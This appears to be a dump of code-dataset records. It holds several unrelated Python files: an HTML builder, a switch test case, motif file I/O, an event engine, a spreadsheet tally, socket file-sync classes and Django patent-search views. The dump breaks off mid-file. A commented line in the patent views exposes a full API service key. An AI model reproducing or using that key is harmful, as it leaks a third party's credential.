Tag(\"title\", \"hello\", is_line=True)\r\n head += title\r\n\r\n doc += head\r\n\r\n body = Tag(\"body\")\r\n\r\n h1 = Tag(\"h1\", \"Test\", is_line=True, klass=(\"main-text\",))\r\n body += h1\r\n\r\n div = Tag(\"div\", klass=(\"container\", \"container-fluid\"), id=\"lead\")\r\n paragraph = Tag(\"p\", \"another test\", is_line=True)\r\n img = Tag(\"img\", is_single=True, src=\"/icon.png\", data_image=\"responsive\")\r\n div += paragraph\r\n div += img\r\n body += div\r\n \r\n doc += body\r\n # вывод созданного документа:\r\n print(doc)\r\n","sub_path":"b3_13_homework.py","file_name":"b3_13_homework.py","file_ext":"py","file_size_in_byte":5821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"473715236","text":"#!/usr/bin/python\r\n# -*- coding: cp936 -*-\r\n# Author: xiepeng\r\n# Date: 2015-6-8\r\n\r\nimport time\r\nimport string\r\nimport re\r\n\r\nfrom libcom.lib_pub.logging_drv import log_info\r\nfrom libcom.lib_cmd.inter_mode import *\r\nfrom libcom.lib_cmd.config_mode import *\r\nfrom libcom.lib_cmd.shell_mode import *\r\nfrom libcom.lib_cmd.chg_mode import *\r\nfrom libcom.console_drv.console_drv import *\r\nfrom libcom.config_topo.topo_controller import *\r\nfrom cases_set.intf.nfpp.nfpp_commn_cmd import *\r\nfrom cases_set.intf.intf_commn_cmd import *\r\n\r\n__all__ = [\"bug_5pj2_257833\"]\r\n\r\nSUCCESS = 0\r\nFAIL = -1\r\n\r\ndef _bug_5pj2_257833(cb_arg):\r\n rv = SUCCESS\r\n dev_name = cb_arg.dev_names[0]\r\n bind_num = 200\r\n configure(dev_name)\r\n if bind_num > 65535:\r\n print_fail('number so large!')\r\n return FAIL\r\n \r\n for num in range(1, bind_num):\r\n quotient = int(num / 256)\r\n remainder = num % 256\r\n ip_str = 'address-bind 192.168.' + str(quotient) + '.' + str(remainder)\r\n mac_str = '0000.0000.' + \"%04d\"%(num)\r\n last_str = ip_str + ' ' + mac_str\r\n run_cmd(dev_name, last_str)\r\n \r\n info = run_cmd(dev_name, 'address-bind install')\r\n acl_busy = re.search(r'ssd_process.*', info, re.S)\r\n# acl_busy = re.findall(r'busy', info, re.M)\r\n if acl_busy != None: \r\n print_fail('ssd_process reload')\r\n rv = FAIL\r\n time.sleep(2)\r\n \r\n run_cmd(dev_name, 'no address-bind install')\r\n for num in range(1, bind_num):\r\n quotient = int(num / 256)\r\n remainder = num % 256\r\n ip_str = 'no address-bind 192.168.' + str(quotient) + '.' + str(remainder)\r\n mac_str = '0000.0000.' + \"%04d\"%(num)\r\n last_str = ip_str + ' ' + mac_str\r\n run_cmd(dev_name, last_str)\r\n \r\n return rv\r\n \r\n#this is main-function\r\ndef bug_5pj2_257833(cb_arg):\r\n if len(cb_arg.dev_names) == 0:\r\n log_info(\"Failed: Need one switch to be test.\")\r\n return FAIL\r\n\r\n dev_name = cb_arg.dev_names[0]\r\n wake_up_console(dev_name)\r\n result = FAIL\r\n try:\r\n result = _bug_5pj2_257833(cb_arg)\r\n finally:\r\n exit_console(dev_name)\r\n return result\r\n\r\n","sub_path":"cases_set/policy/bug/BUGID_257833.py","file_name":"BUGID_257833.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"457890699","text":"from os import PathLike\nimport numpy as np\nfrom ._Motif import Motif, MotifSet\nfrom ._convert import (\n _from_biopython\n)\nfrom ._utils import (\n _parse_version, \n _parse_alphabet, \n _parse_strands, \n _parse_background, \n _parse_motif, \n)\nfrom ...preprocess import decode_seq\nfrom ...preprocess._utils import _token2one_hot\n\ndef _read_meme_pymemesuite(\n filename: PathLike\n):\n \"\"\"Read motifs from a MEME file into pymemesuite.common.Motif objects.\n\n Parameters\n ----------\n filename : str\n MEME filename\n\n Returns\n -------\n list of pymemesuite.common.Motif\n List of motifs\n pymemesuite.common.Background\n A pymemesuite.common.Array object representing the background frequencies\n \"\"\"\n memesuite_motifs = []\n try:\n from pymemesuite.common import MotifFile\n except ImportError:\n raise ImportError(\"Please install pymemesuite dependency with `pip install pymemesuite`\")\n with MotifFile(filename) as motif_file:\n for motif in motif_file:\n memesuite_motifs.append(motif)\n bg = motif_file.background\n return memesuite_motifs, bg\n\ndef _read_meme_MotifSet(\n filename: PathLike\n):\n \"\"\"Read motifs from a MEME file into a MotifSet object.\n\n Parameters\n ----------\n filename : str\n MEME filename\n \n Returns\n -------\n MotifSet\n MotifSet object\n \"\"\"\n motifs = {}\n version = None\n alphabet = None\n strands = None\n background = None\n background_source = None\n with open(filename) as meme_file:\n line = meme_file.readline()\n version = _parse_version(line)\n line = meme_file.readline()\n while line:\n if line.startswith(\"ALPHABET\"):\n if alphabet is None:\n alphabet = _parse_alphabet(line)\n line = meme_file.readline()\n else:\n raise RuntimeError(\"Multiple alphabet definitions encountered in MEME file\")\n elif line.startswith(\"strands: \"):\n if strands is None:\n strands = _parse_strands(line)\n line = meme_file.readline()\n else:\n raise RuntimeError(\"Multiple strand definitions encountered in MEME file\")\n elif line.startswith(\"Background letter frequencies\"):\n if background is None:\n line = _parse_background(line, meme_file)\n else:\n raise RuntimeError(\"Multiple background frequency definitions encountered in MEME file\")\n elif line.startswith(\"MOTIF\"):\n motif = _parse_motif(line, meme_file)\n if motif.identifier in motifs:\n raise RuntimeError(\"Motif identifiers not unique within file\")\n motifs[motif.identifier] = motif\n line = meme_file.readline()\n else:\n line = meme_file.readline()\n return MotifSet(\n motifs=motifs,\n version=version,\n alphabet=alphabet,\n strands=strands,\n background=background,\n background_source=background_source,\n )\n\nREADER_REGISTRY = {\n \"pymemesuite\": _read_meme_pymemesuite,\n \"MotifSet\": _read_meme_MotifSet,\n}\n\ndef read_meme(\n filename,\n return_type=\"MotifSet\"\n):\n \"\"\"Read motifs from a MEME file into a MotifSet object.\n \n Parameters\n ----------\n filename : str\n MEME filename\n \n Returns\n -------\n MotifSet\n MotifSet object\n \"\"\"\n return READER_REGISTRY[return_type](filename)\n\n \n\ndef read_motifs(\n filename,\n transpose=True,\n counts=True\n):\n \"\"\"Read motifs from a .motif file into a MotifSet object.\n\n Parameters\n ----------\n filename : str\n .motif filename\n transpose : bool, optional\n whether to transpose the matrices, by default True\n counts : bool, optional\n whether the input matrices are counts and should be converted to pfm, by default True\n \"\"\"\n\n with open(filename) as motif_file:\n data = motif_file.readlines()\n pfm_rows = []\n pfms = []\n ids = []\n names = []\n for line in data:\n line = line.rstrip()\n if line.startswith(\">\"):\n ids.append(line.split()[0])\n names.append(line.split()[1])\n if len(pfm_rows) > 0:\n pfms.append(np.vstack(pfm_rows))\n pfm_rows = []\n else:\n pfm_row = np.array(list(map(float, line.split())))\n pfm_rows.append(pfm_row)\n pfms.append(np.vstack(pfm_rows))\n motifs = {}\n for i in range(len(pfms)):\n if transpose:\n pfms[i] = pfms[i].T\n if counts:\n pfms[i] = np.divide(pfms[i], pfms[i].sum(axis=1)[:,None])\n consensus = decode_seq(_token2one_hot(pfms[i].argmax(axis=1)))\n motif = Motif(\n pfm=pfms[i],\n identifier=ids[i],\n name=names[i],\n consensus=consensus,\n length=len(consensus)\n )\n motifs[ids[i]] = motif\n return MotifSet(motifs=motifs)\n\ndef _load_jaspar(\n motif_accs=None, \n motif_names=None, \n collection=None, \n release=\"JASPAR2022\",\n **kwargs,\n):\n \"\"\"Load motifs from JASPAR database into Bio.motifs.jaspar.Motif objects.\n\n Utility function for load_jaspar.\n\n Parameters\n ----------\n motif_accs : list of str, optional\n List of motif accessions, by default None\n motif_names : list of str, optional\n List of motif names, by default None\n collection : str, optional\n Collection name, by default None\n release : str, optional\n JASPAR release, by default \"JASPAR2020\"\n\n Returns\n -------\n list of bio.motifs.jaspar.Motif\n \"\"\"\n assert (motif_accs or motif_names or collection), \"Must provide either motif_accs, motif_names, or collection\"\n try:\n from pyjaspar import jaspardb\n except ImportError:\n raise ImportError(\"Please install pyjaspar dependency with `pip install pyjaspar`\")\n jdb_obj = jaspardb(release=release)\n if motif_accs:\n if isinstance(motif_accs, str):\n motif_accs = [motif_accs]\n motifs = [jdb_obj.fetch_motif_by_id(acc) for acc in motif_accs]\n elif motif_names:\n if isinstance(motif_names, str):\n motif_names = [motif_names]\n motifs = [jdb_obj.fetch_motifs_by_name(name) for name in motif_names]\n elif collection:\n motifs = jdb_obj.fetch_motifs(collection=collection, **kwargs)\n return motifs\n\ndef load_jaspar(\n motif_accs=None,\n motif_names=None,\n collection=None,\n release=\"JASPAR2022\",\n identifier_number=0,\n verbose=False,\n **kwargs, \n):\n \"\"\"Load motifs from JASPAR database into a MotifSet object\n\n Parameters\n ----------\n motif_accs : list of str, optional\n List of motif accessions, by default None\n motif_names : list of str, optional\n List of motif names, by default None\n collection : str, optional\n Collection name, by default None\n release : str, optional\n JASPAR release, by default \"JASPAR2020\"\n identifier_number : int, optional\n Identifier number, by default 0\n verbose : bool, optional\n Verbose, by default False\n\n Returns\n -------\n MotifSet\n \"\"\"\n motifs = _load_jaspar(\n motif_accs=motif_accs,\n motif_names=motif_names,\n collection=collection,\n release=release,\n **kwargs,\n )\n motif_set = _from_biopython(\n motifs, \n identifier_number=identifier_number, \n verbose=verbose\n )\n return motif_set\n\ndef read_array(\n filename,\n transpose=True,\n):\n \"\"\"Read from a NumPy array file into a MotifSet object.\n TODO: test this with a real case\n \"\"\"\n pass\n\ndef write_meme( \n motif_set,\n filename,\n background=[0.25, 0.25, 0.25, 0.25],\n **kwargs,\n):\n \"\"\"Write a MotifSet object to a MEME file.\n\n Parameters\n ----------\n motif_set : MotifSet\n MotifSet object\n filename : str\n Output filename\n background : list of float, optional\n Background frequencies, by default [0.25, 0.25, 0.25, 0.25]\n \"\"\"\n pass\n\ndef write_motifs(\n motif_set,\n filename,\n format=\"homer\",\n **kwargs,\n):\n \"\"\"Write a MotifSet object to a file.\n\n Parameters\n ----------\n motif_set : MotifSet\n MotifSet object\n filename : str\n Output filename\n format : str, optional\n Output format, by default \"homer\"\n \"\"\"\n pass\n\ndef write_meme_from_array(\n array,\n outfile,\n vocab=\"DNA\",\n background=[0.25, 0.25, 0.25, 0.25],\n):\n \"\"\"\n Function to convert pwm as ndarray to meme file\n Adapted from:: nnexplain GitHub:\n TODO: Depracate in favor of first converting to MotifSet and then writing to file\n\n Parameters\n ----------\n array:\n numpy.array, often pwm matrices, shape (U, 4, filter_size), where U - number of units\n outfile:\n string, the name of the output meme file\n \"\"\"\n from ...preprocess._utils import _get_vocab\n\n vocab = \"\".join(_get_vocab(vocab))\n n_filters = array.shape[0]\n filter_size = array.shape[2]\n meme_file = open(outfile, \"w\")\n meme_file.write(\"MEME version 4\\n\\n\")\n meme_file.write(f\"ALPHABET= {vocab}\\n\\n\")\n meme_file.write(\"strands: + -\\n\\n\")\n meme_file.write(\"Background letter frequencies\\n\")\n meme_file.write(f\"{vocab[0]} {background[0]} {vocab[1]} {background[1]} {vocab[2]} {background[2]} {vocab[3]} {background[3]}\\n\")\n\n for i in range(0, n_filters):\n if np.sum(array[i, :, :]) > 0:\n meme_file.write(\"\\n\")\n meme_file.write(\"MOTIF filter%s\\n\" % i)\n meme_file.write(\n \"letter-probability matrix: alength= 4 w= %d \\n\"\n % np.count_nonzero(np.sum(array[i, :, :], axis=0))\n )\n for j in range(0, filter_size):\n if np.sum(array[i, :, j]) > 0:\n meme_file.write(\n str(array[i, 0, j])\n + \"\\t\"\n + str(array[i, 1, j])\n + \"\\t\"\n + str(array[i, 2, j])\n + \"\\t\"\n + str(array[i, 3, j])\n + \"\\n\"\n )\n meme_file.close()\n print(\"Saved array in as : {}\".format(outfile))\n","sub_path":"eugene/dataload/motif/_io.py","file_name":"_io.py","file_ext":"py","file_size_in_byte":10382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"227130824","text":"from collections import deque\nfrom VEE_events import VEE_StopEngineEvent, VEE_TimerEvent, \\\n VEE_StartEngineEvent, VEE_BaseAbstractEvent\nfrom VEE_timer import VEE_timer\nfrom VEE_logs import EngineMessage\nfrom VEE_utils import encodeUTF8\nfrom datetime import datetime\nimport Queue\nimport logging\nfrom prosuite_logging import DequeMemoryHandler, app_logger as root_logger\n\n\nMAX_LOG_LEN = 200\n\ndisable = getattr(application, 'ENV_DISABLE_VSCRIPT', False)\n\nworkflow_queue = Queue.Queue()\ncompiler_queue = Queue.Queue()\nqueue_thread = None\ncompiler_thread = None\n\nclass VdomEventEngine:\n def __init__( self ):\n self.listeners = {}\n self.timers = {}\n self.setup_logging()\n self.engine_start()\n\n def setup_logging(self):\n '''\n '''\n memory_hdlr = DequeMemoryHandler(capacity=MAX_LOG_LEN)\n self.logs = memory_hdlr\n\n self.engine_logger = root_logger.getChild('Engine')\n self.engine_logger.addHandler(memory_hdlr)\n self.engine_logger.setLevel(logging.DEBUG)\n self.engine_logger.info('Engine logger initialized!')\n\n self.plugin_logger = root_logger.getChild('Plugin')\n self.plugin_logger.addHandler(memory_hdlr)\n self.plugin_logger.setLevel(logging.DEBUG)\n self.plugin_logger.info('Plugin logger initialized!')\n\n def engine_start( self ):\n if disable:\n return\n\n from VEE_time_trigger import engineTimeTrigger\n from VEE_compiler_trigger import compilerTimeTrigger\n self.put_event( VEE_StartEngineEvent() )\n\n self.engine_logger.info(\"Starting engine thread...\")\n engineTimeTrigger().start()\n\n self.engine_logger.info(\"Starting compiler thread...\")\n compilerTimeTrigger().start()\n\n self.engine_logger.info( u\"Engine started.\" )\n\n\n def engine_stop( self ):\n self.engine_logger.info( u\"Engine stopped.\" )\n if queue_thread:\n queue_thread.stop()\n if compiler_thread:\n compiler_thread.stop()\n self.clear_all()\n\n\n def load_listeners( self ):\n from class_macro import register_all_event_macro\n register_all_event_macro()\n\n\n def put_event( self, event ):\n # enqueue application events only if there are listeners for them\n if isinstance(event, VEE_BaseAbstractEvent) and \\\n (event.__class__, hash(event)) not in self.listeners:\n return\n workflow_queue.put( event )\n\n\n def process_queue( self ):\n event = None\n try:\n event = workflow_queue.get( True, 5 )\n except Queue.Empty:\n self.check_timers()\n return 2.0\n\n if isinstance( event, VEE_TimerEvent ):\n self.engine_logger.info( u\"Recieved event of class '{timeClass}' with name '{timerName}'\".format(\n timeClass = event.__class__.__name__[ 4: ],\n timerName = event.timer.timer.name.split( \":\", 1 )[ 1 ] ) )\n\n else:\n self.info( ( u\"Recieved event of class '{className}' ({cls}:{hash})\".format(\n className = event.__class__.__name__[ 4: ],\n cls = event.__class__.__name__,\n hash = hash( event ) ) ) )\n self.engine_logger.info( ( u\"Recieved event of class '{className}'\".format(\n className = event.__class__.__name__[ 4: ] ) ) )\n\n\n if isinstance( event, VEE_StopEngineEvent ):\n self.engine_stop()\n return\n\n elif isinstance( event, VEE_StartEngineEvent ):\n self.load_listeners()\n return\n\n key = ( event.__class__, hash( event ) )\n if key in self.listeners:\n dispatchers = self.listeners[ key ]\n self.engine_logger.info( u\"Event '{className}' has {dispatchersCount} dispatchers\".format(\n className = event.__class__.__name__[4:],\n dispatchersCount = len( dispatchers ) ) )\n\n for dispatcher in dispatchers.itervalues():\n dispatcher( event )\n\n else:\n self.engine_logger.info( u\"No dispatcher for given event '{className}'\".format(\n className = event.__class__.__name__[4:] ) )\n\n #check for webdav activity\n# try:\n# from webdav_server.vdom_dav_provider import get_properties\n# if (datetime.now() - get_properties.last_access()).total_seconds()<30:\n# return 10.0\n# except Exception as e:\n# return 1.0\n\n return 0.25\n\n def get_dispatcher_by_event( self, event ):\n key = ( event.__class__, hash( event ) )\n if key in self.listeners:\n return self.listeners[ key ].values()[ 0 ]\n\n return None\n\n def do_compile(self):\n task = None\n try:\n task = compiler_queue.get( True, 5 )\n except Queue.Empty:\n return\n\n macro, event_class, key, dispatcher = task\n self.engine_logger.debug(\"%s[%s] - start compiling\", macro.name, macro.guid)\n ret = dispatcher.compile()\n if ret == COMPILATION_SUCCESS:\n self.compile_done(macro, event_class, key, dispatcher)\n self.engine_logger.debug(\"%s[%s] - compiling done\", macro.name, macro.guid)\n# self.engine_logger.info(\"Compiling done\" )\n else:\n self.engine_logger.debug(\"%s[%s] - compiling failing\", macro.name, macro.guid)\n# self.engine_logger.info(\"Compiling failed\" )\n #cache, code = compile( source , environment = env )\n\n def compile_done(self, macro, event_class, key, dispatcher):\n macro.bytecode = (dispatcher.cache, dispatcher.debuginfo)\n macro.save_after_compile()\n self.register_dispatcher(event_class, key, dispatcher)\n\n def compile_and_register(self, macro, event_class, key):\n try:\n dispatcher = VEE_vmacro_dispatcher(macro)\n if macro.bytecode:\n self.engine_logger.debug(\"%s[%s] - bytecode exists\", macro.name, macro.guid)\n self.register_dispatcher(event_class, key, dispatcher)\n return COMPILATION_SUCCESS\n\n self.engine_logger.debug(\"%s[%s] - put macro in compile queue\", macro.name, macro.guid)\n compiler_queue.put((macro, event_class, key, dispatcher))\n\n except Exception as e:\n self.engine_logger.exception(\"@@@@@@@@@Error while vscript compilation.\" )\n\n\n def register_dispatcher( self, event_class, event_key, dispatcher ):\n key = ( event_class, event_key )\n disp_hash = hash( dispatcher.guid )\n self.info( u\"Register dispatcher '{dispatcherName}' for event '{eventName}' ({cls}:{hash})\".format(\n dispatcherName = dispatcher.name,\n eventName = event_class.__name__[ 4: ],\n cls = event_class.__name__,\n hash = event_key ) )\n\n self.engine_logger.info( u\"Register dispatcher '{dispatcherName}' for event '{eventName}'\".format(\n dispatcherName = dispatcher.name,\n eventName = event_class.__name__[ 4: ] ) )\n\n\n if key not in self.listeners:\n self.listeners[ key ] = {}\n\n self.listeners[ key ][ disp_hash ] = dispatcher\n\n\n def unregister_dispatcher( self, event_class, event_key, disp_guid ):\n key = ( event_class, event_key )\n if key in self.listeners:\n dispatchers = self.listeners[ key ]\n disp_hash = hash( disp_guid )\n\n if disp_hash in dispatchers:\n dispatcher = dispatchers[ disp_hash ]\n del dispatchers[ disp_hash ]\n\n self.engine_logger.info( u\"Unregister dispatcher '{dispatcherName}' for event '{eventName}'\".format(\n dispatcherName = dispatcher.name,\n eventName = event_class.__name__[ 4: ] ) )\n\n\n if len( dispatchers ) == 0:\n del self.listeners[ key ]\n\n\n def clear_all(self):\n self.clear_log()\n self.listeners = {}\n self.timers = {}\n try:\n while True:\n workflow_queue.get_nowait()\n except Queue.Empty:\n pass\n\n\n def add_timer( self, name, delay, hash_value ):\n \"\"\"Add timer with defined name and delay\"\"\"\n if name not in self.timers:\n self.timers[ name ] = VEE_timer( name, delay, hash_value )\n\n\n def update_timer( self, name, delay, hash_value ):\n \"\"\"Replace timer with defined name and delay\"\"\"\n self.timers[name] = VEE_timer( name, delay, hash_value )\n\n\n def delete_timer( self, name ):\n \"\"\"Removing timer. If there is no with such name - no exception rising\"\"\"\n try:\n del self.timers[ name ]\n except Exception:\n pass\n\n\n def activate_timer( self, name, state ):\n \"\"\"Timer change state to active. If there is no with such name - exception raised\"\"\"\n try:\n self.timers[ name ].active = state\n except Exception:\n raise Exception( \"No timer with such name\" )\n\n\n def check_timers(self):\n for timer_name in self.timers:\n if self.timers[ timer_name ].check():\n self.put_event( VEE_TimerEvent( self.timers[ timer_name ] ) )\n\n\n def get_timer_by_name( self, name ):\n return self.timers.get( name, None )\n\n\nengine = VdomEventEngine()\nfrom VEE_vmacro_dispatcher import VEE_vmacro_dispatcher, COMPILATION_SUCCESS\n","sub_path":"Libraries/VEE_core.py","file_name":"VEE_core.py","file_ext":"py","file_size_in_byte":9629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"220079196","text":"\"\"\"\nTakes a range as input\nCreates a list of that data\nReturns list\n\"\"\"\ndef create_list(c_range):\n #Create read list\n c_list = []\n #Iterate over range\n for x in CellRange(c_range):\n #Assing cell value back onto itself\n x = x.value\n #add to list\n c_list.append(x)\n \n return c_list\n\nindex_list = create_list('A2:A54')\nraw_week = create_list('M2:M366')\nsamples_list = create_list('N2:N366')\norder_list = create_list('O2:O366')\n\n\nweekly_samples = [0 for a in range(0, len(index_list))]\nweekly_orders = [0 for a in range(0, len(index_list))]\n\n# Iterate over raw data\nx = 0\nfor a in raw_week:\n y = 0\n # Iterate over index\n for b in index_list:\n # See if values are the same\n if(a == b):\n weekly_samples[y] += samples_list[x]\n weekly_orders[y] += order_list[x]\n break\n y += 1\n x += 1\n\nx = 0\nfor a in CellRange('I2:I54'):\n a.value = weekly_samples[x]\n Cell('J' + str(a.row)).value = weekly_orders[x]\n x += 1\n","sub_path":"weekly_data.py","file_name":"weekly_data.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"632674814","text":"import socket\nimport struct\n\nimport comm_types\n\n\n# Archive transfer compresion method.\nCOMPRESSION = 'bztar'\n# Format to use when serialising/de-serialising strings.\nUNICODE_FORMAT = 'utf-8'\n\n\nclass Transmitter:\n \"\"\"\n Transmit data to the server.\n\n :param conn_info: The connection information tuple for the socket.\n \"\"\"\n def __init__(self, conn_info):\n self._conn_info = conn_info\n self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self._socket.connect(self._conn_info)\n\n def send_file(self, file):\n \"\"\"\n Send the data of a file to the server.\n\n :param file: The file.File object to send.\n \"\"\"\n data = bytearray(struct.pack('I', len(file.path)))\n data += bytearray(file.path, encoding=UNICODE_FORMAT)\n data += bytearray(file.data)\n self._send(comm_types.FILE, data)\n\n def del_file(self, path):\n \"\"\"\n Notify the server that a file was deleted.\n\n :param path: The relative path of the file that was deleted.\n \"\"\"\n self._send(comm_types.DEL_FILE, bytearray(path,\n encoding=UNICODE_FORMAT))\n\n def send_dir(self, path):\n \"\"\"\n Notify the server of a directory that exists.\n\n :param path: The path to the directory.\n \"\"\"\n self._send(comm_types.DIR, bytearray(path, encoding=UNICODE_FORMAT))\n\n def del_dir(self, path):\n \"\"\"\n Notify the server that a directory was deleted.\n\n :param path: The path to the directory.\n \"\"\"\n self._send(comm_types.DEL_DIR, bytearray(path,\n encoding=UNICODE_FORMAT))\n\n def move(self, src, dest):\n \"\"\"\n Notify the server that an item was moved.\n\n :param src: The old relative path of the item.\n :param dest: The new relative path of the item.\n \"\"\"\n print(f\"Moving {src} to {dest}\")\n data = bytearray(struct.pack('I', len(src)))\n data += bytearray(src, encoding=UNICODE_FORMAT)\n data += bytearray(dest, encoding=UNICODE_FORMAT)\n self._send(comm_types.MOVE, data)\n\n def _send(self, comm_type, data):\n \"\"\"\n Send data in type-length-value format.\n\n :param comm_type: The comm_type enum constant representing the data\n type.\n :param data: The data to be sent, as bytes.\n \"\"\"\n # Pack a struct with two integers representing the comm type and\n # data length.\n self._socket.sendall(struct.pack('II', comm_type, len(data)))\n self._socket.sendall(data)\n\n def terminate(self):\n \"\"\"\n Terminate the connection.\n \"\"\"\n self._socket.close()\n\n\nclass Receiver:\n \"\"\"\n Receive data from the client.\n\n :param port: The TCP port to use for the connection.\n \"\"\"\n HOST = 'localhost'\n\n def __init__(self, port):\n self._server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self._server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,\n 1)\n self._server_socket.bind((Receiver.HOST, port))\n # Single-threaded server, so no connection backlog.\n self._server_socket.listen(0)\n (self._conn, _) = self._server_socket.accept()\n\n def receive(self):\n \"\"\"\n Receive data from the client.\n\n :return: A two-tuple containing the comm_type constant representing the\n data type, and the data itself, as a byte array.\n \"\"\"\n # Receive the comm type and data length first. Struct of two integers\n # has size 8 bytes.\n (comm_type, length) = struct.unpack('II', self._conn.recv(8))\n # Repeatedly call recv until all required bytes were read.\n recvd_len = 0\n data = []\n while recvd_len < length:\n max = length - recvd_len\n data += self._conn.recv(max)\n recvd_len += len(data)\n return (comm_type, bytearray(data))\n\n def terminate(self):\n \"\"\"\n Terminate the connection.\n \"\"\"\n self._conn.close()\n self._server_socket.close()\n","sub_path":"comms.py","file_name":"comms.py","file_ext":"py","file_size_in_byte":4206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"276946570","text":"# new admission/urls.py file\n\nfrom django.conf.urls import url\n\nfrom . import views\n\napp_name = 'admission'\nurlpatterns = [\n\turl(r'^$', views.SummaryView.as_view(), name='summary'),\n url(r'^(?P[0-9]+)$', views.DetailView.as_view(), name='detail'),\n url(r'^summary/', views.SummaryView.as_view(), name='summary'),\n url(r'^summarybydate/', views.DateSummaryView.as_view(), name='date_summary'),\n url(r'^summarybydisease/', views.DiseaseSummaryView.as_view(), name='disease_summary'),\n url(r'^badges/', views.BadgesView.as_view(), name='badges'),\n url(r'^sunburst/', views.SunburstView.as_view(), name='sunburst'),\n url(r'^value/', views.ValueView.as_view(), name='value'),\n url(r'^radiology/', views.RadiologyView.as_view(), name='radiology'),\n \n]","sub_path":"admission/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"234042076","text":"from django.shortcuts import render, redirect, HttpResponse\nfrom .models import Patent, IPC, Patent2, Patentmap, Tracking, Tracking4, Keyword, Patent3, PatentmapKeyword, PatentmapPatent, Patent8\nfrom bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nfrom urllib.parse import urlencode\nfrom django.db.models import Q\nfrom gensim.models import word2vec, doc2vec, Word2Vec\nfrom gensim.models.doc2vec import Doc2Vec, LabeledSentence\nfrom tqdm import *\nimport lxml\nimport math\nimport requests\nimport re\nfrom django.core.cache import cache\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom konlpy.tag import Twitter, Kkma, Mecab, Komoran\nimport json\nimport datetime\nfrom openpyxl import Workbook\nfrom openpyxl.styles import Border, Side, PatternFill, Color\nfrom django.core import serializers\nfrom django.shortcuts import get_object_or_404\n# Create your views here.\n\n'''\nwordvec_cache_key = 'wordvec_cache'\nwordvec = cache.get(wordvec_cache_key)\n\nif wordvec is None:\n wordvec = Word2Vec.load(\"f:/dev/models/word2vec_model_20170808\")\n cache.set(wordvec_cache_key, wordvec, None)\n\ndocvec_cache_key = 'docvec_cache'\ndocvec = cache.get(docvec_cache_key)\n\nif docvec is None:\n docvec = Doc2Vec.load(\"f:/dev/models/doc2vec_model_20170820_min_count_1_window_3_size_200\")\n cache.set(docvec_cache_key, docvec, None)\n'''\n\ndef intro(request):\n return redirect('ipsearch/dashboard')\n\ndef ip_search(request): #DB기반\n user = request.user\n result_lists = []\n if request.is_ajax():\n appNum = request.GET.get('choice_appNum')\n page = int(request.GET.get('page'))\n searchfomular = request.GET.get('searchfomular')\n query = Patent3.objects.all()\n successmessage = ''\n if appNum:\n mytrackingpatent = Tracking4.objects.filter(owner=user, patent__applicationNumber=appNum)\n if mytrackingpatent:\n successmessage = \"이미 저장되어 있습니다!\"\n else:\n newtrackingpatent = Patent3.objects.get(applicationNumber=appNum)\n presentRegisterStatus = Patent3.objects.filter(applicationNumber=appNum).values_list('registerStatus',\n 'registerNumber')\n now = datetime.datetime.now()\n Tracking4.objects.create(owner=user, patent=newtrackingpatent, presentRegisterStatus=presentRegisterStatus[0][0],\n registerStatusModifiedDate=now,legalStatusInfoModifiedDate=now, registrationFeeModifiedDate=now)\n successmessage = \"저장이 완료 되었습니다.\"\n\n if searchfomular:\n fomulars = searchfomular.lower()\n fomulars = fomulars.replace('and',' ')\n fomulars = fomulars.split()\n result_filter = Q()\n\n for items in fomulars:\n items = items.replace('(', '')\n items = items.replace(')', '')\n items = items.replace('*', ' ')\n items = items.split()\n or_filter = Q()\n for item in items:\n or_filter |= Q(search_vector=item)\n\n result_filter = result_filter & or_filter\n\n list_count = query.filter(result_filter).count()\n list_page = query.filter(result_filter).values_list(\n 'inventionTitle', 'bigDrawing', 'applicationNumber', 'applicationDate'\n , 'openDate', 'openNumber', 'applicantName', 'registerStatus', 'publicationNumber'\n , 'publicationDate', 'registerNumber', 'registerDate', 'ipcNumber', 'astrtCont')[(page-1)*25:page*25]\n\n\n for lists in list_page:\n result_lists.append(lists)\n\n context = {\n 'successmessage': successmessage,\n 'list_count': list_count,\n 'result_lists': result_lists,\n 'appNum': appNum,\n 'page':page,\n }\n\n return HttpResponse(json.dumps(context), content_type='application/json')\n\n\n context = {\n #'total_count': total_count,\n #'result_filter' : result_filter,\n #'fomulars': fomulars,\n #'list_page': list_page,\n #'lists': list_page,\n #'fomular':fomular,\n #'similarword':similarword,\n #'page_range': page_range,\n #'inventionTitle': inventionTitle,\n }\n return render(request, 'ipsearch/ipsearch.html', context)\n\ndef ip_search2(request):\n return render(request,'ipsearch.ipsearch2.html', context)\n'''\ndef ip_search_api(request): #API사용 버전\n #key = '2G6NLSJFUET/yUt7iWnJh3PxkqKrwpoYLh26s6ir7CU='\n rightHoler = request.POST.get('rightHoler', '')\n applicant = request.POST.get('applicant', '')\n applicationNumber = request.POST.get('applicationNumber', '')\n registerNumber = request.POST.get('registerNumber', '')\n inventionTitle = request.POST.get('inventionTitle', '')\n astrtCont = request.POST.get('astrtCont', '')\n\n search = {\n 'rightHoler': rightHoler,\n 'applicant': applicant,\n 'applicationNumber': applicationNumber,\n 'registerNumber': registerNumber,\n 'inventionTitle': inventionTitle,\n 'astrtCont': astrtCont,\n #'key': key,\n }\n search = urlencode(search)\n #url = ('http://plus.kipris.or.kr/kipo-api/kipi/patUtiModInfoSearchSevice/getAdvancedSearch'\n # '?&sortSpec=AD&descSort=true&rightHoler={rightHoler}&applicant={applicant}&applicationNumber={applicationNumber}&'\n # 